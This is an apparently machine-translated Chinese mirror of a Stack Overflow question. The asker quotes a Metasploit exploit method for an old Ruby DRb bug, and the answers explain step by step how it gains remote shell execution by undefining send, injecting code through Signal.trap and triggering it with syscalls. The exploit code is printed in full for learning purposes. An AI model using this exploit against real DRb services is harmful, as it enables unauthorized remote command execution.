首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >理解ruby语法“类<<变量”

理解ruby语法“类<<变量”
EN

Stack Overflow用户
提问于 2017-05-20 15:07:36
回答 2查看 83关注 0票数 4

我一直在使用metasploit查看DRb中的一个老bug,它使用以下方法:

代码语言:javascript
复制
  def exploit
    serveruri = datastore['URI']
    DRb.start_service
    p = DRbObject.new_with_uri(serveruri)
    class << p
      undef :send
    end

    p.send(:trap, 23, :"class Object\ndef my_eval(str)\nsystem(str.untaint)\nend\nend")
    # syscall to decide whether it's 64 or 32 bit:
    # it's getpid on 32bit which will succeed, and writev on 64bit
    # which will fail due to missing args
    begin
      pid = p.send(:syscall, 20)
      p.send(:syscall, 37, pid, 23)
    rescue Errno::EBADF
      # 64 bit system
      pid = p.send(:syscall, 39)
      p.send(:syscall, 62, pid, 23)
    end
    p.send(:my_eval, payload.encoded)
  end

我不是一个红宝石程序员,但我有一个一般的感觉发生了什么,除了几行。

有人能解释第5-9行发生了什么吗?(从"class << .“开始)

EN

回答 2

Stack Overflow用户

回答已采纳

发布于 2017-05-20 15:16:42

代码语言:javascript
复制
class << p
  undef :send
end

这个未定义的对象pp方法(send用于动态调用接收器上的方法)。

它这样做是为了利用DRbObjectmethod_missing实现,该实现将方法调用路由到远程对象。我不太熟悉DRb,但我猜想这样做可能是为了通过DRbServercheck_insecure_method检查,但我将把它留给您作为练习,因为它超出了这里提出的问题的范围。

一旦它通过method_missing完成了它需要做的事情,它就会在服务器进程上向Object添加一个方法my_eval,然后使用system作为一个shell命令来执行有效负载。

票数 2
EN

Stack Overflow用户

发布于 2017-05-20 18:51:25

代码语言:javascript
复制
class << p
  undef :send
end

此块未定义本地DRbObject实例上的DRbObject。正如Michael所指出的,如果DRbObject没有定义方法,它将使用method_missing将方法调用路由到远程服务器。

在这种情况下,所有后续的send调用都将被路由到远程服务器,并在那里进行评估,而不是本地实例。

代码语言:javascript
复制
p.send(:trap, 23, :"class Object\ndefmy_eval(str)\nsystem(str.untaint)\nend\nend")

这将触发信号23的Signal.trap和一个符号,该符号似乎包含一个代码块,如果进行评估,该代码块将在Object上创建一个方法,该方法提供对shell的直接访问。

根据文档,Signal.trap可以用于在接收到来自操作系统的特定信号时运行块或命令。不太清楚什么是命令,所以我做了一些尝试。

代码语言:javascript
复制
 >   pid = fork { Signal.trap(23, :"puts 'test'"); puts "sleeping"; sleep 10 }
sleeping                                                                       #=> 37162
>> Process.detach(pid) #=> #<Thread:0x007f9e13a61d60 sleep>
>> Process.kill(23, pid)
test                     #=> 1

看起来,符号形式的命令将被转换为字符串,然后由Signal.trap编辑。

代码语言:javascript
复制
# syscall to decide whether it's 64 or 32 bit:
# it's getpid on 32bit which will succeed, and writev on 64bit
# which will fail due to missing args
begin
  pid = p.send(:syscall, 20)
  p.send(:syscall, 37, pid, 23)

本节触发调用Unix内核函数的Kernel#syscallrescue位处理64位syscall数字。让我们看看这里的32位部分:

  • p.send(:syscall, 20)应评估为sys_getpid()
  • p.send(:syscall, 37, pid, 23)应评估为sys_kill(<pid>, 23)。这将触发早期为信号23设置的陷阱。

最后,开发:

  1. 未定义send以强制消息通过method_missing
  2. 使用method_missing触发Signal.trap(23),并将一块红宝石代码转换为符号形式的一行字符串。
  3. 使用Kernel#syscall获取当前正在运行的进程的PID。
  4. 使用Kernel#syscall调用kill -23 <pid>,这将导致在2中设置的陷阱触发,这反过来又将所提供的符号转移到在Object上创建my_eval方法,该方法提供了对system (shell命令行访问)的访问。
  5. 使用有效载荷调用新创建的my_eval方法

参考文献:

http://syscalls.kernelgrok.com/

https://ruby-doc.org/core-2.2.0/Signal.html#method-c-trap

https://ruby-doc.org/core-2.2.0/Kernel.html#method-i-syscall

票数 2
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/44087455

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档